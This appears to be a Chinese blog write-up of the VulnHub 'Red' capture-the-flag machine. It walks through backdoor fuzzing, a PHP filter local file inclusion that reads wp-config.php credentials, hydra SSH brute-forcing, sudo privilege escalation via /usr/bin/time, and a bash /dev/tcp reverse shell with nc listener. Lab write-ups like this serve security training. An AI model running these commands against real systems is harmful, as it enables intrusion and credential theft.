【精选】VulnHub red 超详细过程思路

 博主介绍

‍ 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!


一、信息收集

1.主机探测

发现靶机的IP是192.168.11.90

┌──(rootkali)-[~/桌面]
└─# arp-scan -l

【精选】VulnHub red 超详细过程思路_第1张图片

2.端口扫描

发现开放了22、80端口

还可以看到robots.txt,wp-admin目录以及cms为WordPress5.8.1

【精选】VulnHub red 超详细过程思路_第2张图片

3.web服务

点击这个Hello Blue!

网站显示无法访问,但是可以看到有个域名显示

把这个域名加入hosts文件中,就可以访问了

【精选】VulnHub red 超详细过程思路_第3张图片

【精选】VulnHub red 超详细过程思路_第4张图片

【精选】VulnHub red 超详细过程思路_第5张图片

再次进行访问

【精选】VulnHub red 超详细过程思路_第6张图片

页面提示说找不到他的后门,说明此网站肯定已经被植入了后门,查看一下源代码

【精选】VulnHub red 超详细过程思路_第7张图片

这里有一段英文,意思就是说要向Mr. Miessler寻求帮助,也不知道是啥意思,在网上搜一下

【精选】VulnHub red 超详细过程思路_第8张图片

4.后门文件查找

然后github上面提示我在kali上面下载这个

apt -y install seclists

【精选】VulnHub red 超详细过程思路_第9张图片

因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists里的 CommonBackdoors-PHP.fuzz.txt 扫描

/usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

dirsearch 扫描

发现一个NetworkFileManagerPHP.php页面,进行访问,但是访问后发现是一片空白,说明确实存在这个页面,再根据状态码为500猜测这个页面可能存在LFI

使用wfuzz测试一下参数

┌──(rootkali)-[~/桌面]
└─# dirsearch -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://redrocks.win/

【精选】VulnHub red 超详细过程思路_第10张图片

wfuzz扫描

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

【精选】VulnHub red 超详细过程思路_第11张图片

使用key参数测试一下LFI

发现成功了,说明参数就是key 且存在文件包含漏洞

【精选】VulnHub red 超详细过程思路_第12张图片

直接读取,发现php被解析了,所有要利用php伪协

【精选】VulnHub red 超详细过程思路_第13张图片

二、漏洞利用

1.文件包含-filter伪协议

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

【精选】VulnHub red 超详细过程思路_第14张图片

经过base64解码:

【精选】VulnHub red 超详细过程思路_第15张图片

中间有一段被注释了的base64加密的,解密以后:

【精选】VulnHub red 超详细过程思路_第16张图片

发现并没有什么用,因为提到了hashcat,于是寻找账号密码信息,因为是WordPress,所以查找该配置文件信息wp-config.php

还是通过文件包含用PHP伪协议去读取文件源码,然后base64解码

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9

发现了一个账号和密码

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

【精选】VulnHub red 超详细过程思路_第17张图片

尝试ssh远程登录,但是发现失败了

【精选】VulnHub red 超详细过程思路_第18张图片

2.hash碰撞

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

##passwd.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码

【精选】VulnHub red 超详细过程思路_第19张图片

hydar爆破账号密码

hydra -l john -P passlist.txt 192.168.11.90 ssh

【精选】VulnHub red 超详细过程思路_第20张图片

3.提权

┌──(rootkali)-[~/桌面]
└─# ssh [email protected] 

【精选】VulnHub red 超详细过程思路_第21张图片

但是发现登录进去,没有过几秒就自动退出ssh远程了

【精选】VulnHub red 超详细过程思路_第22张图片

登录退出来以后,还要重新利用hydra进行破解

【精选】VulnHub red 超详细过程思路_第23张图片

sudo -l

发现ippsec用户在无密码的情况下可以执行/usr/bin/time命令,在提权网站上查找提权方法

【精选】VulnHub red 超详细过程思路_第24张图片

【精选】VulnHub red 超详细过程思路_第25张图片

使用sudo -u ippsec /usr/bin/time /bin/bash提权为ippsec用户

【精选】VulnHub red 超详细过程思路_第26张图片

想进行下一步操作,发现shell又被断掉了

所有,在退出之前,进行反弹shell,保留权限

cd /tmp
cat shell.sh
内容为:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.11.90/4444 0>&1'
保存后退出
chmod +x shell.sh
./shell.sh

kali监听本地的4444端口即可

【精选】VulnHub red 超详细过程思路_第27张图片

shell连接成功,升级一下shell

1. 在 /tmp 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 4444` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车

【精选】VulnHub red 超详细过程思路_第28张图片

即可得到一个不会断开的shell

【精选】VulnHub red 超详细过程思路_第29张图片

你可能感兴趣的:(web,VulnHub,网络,java,1024程序员节,服务器,网络安全,vulnhub)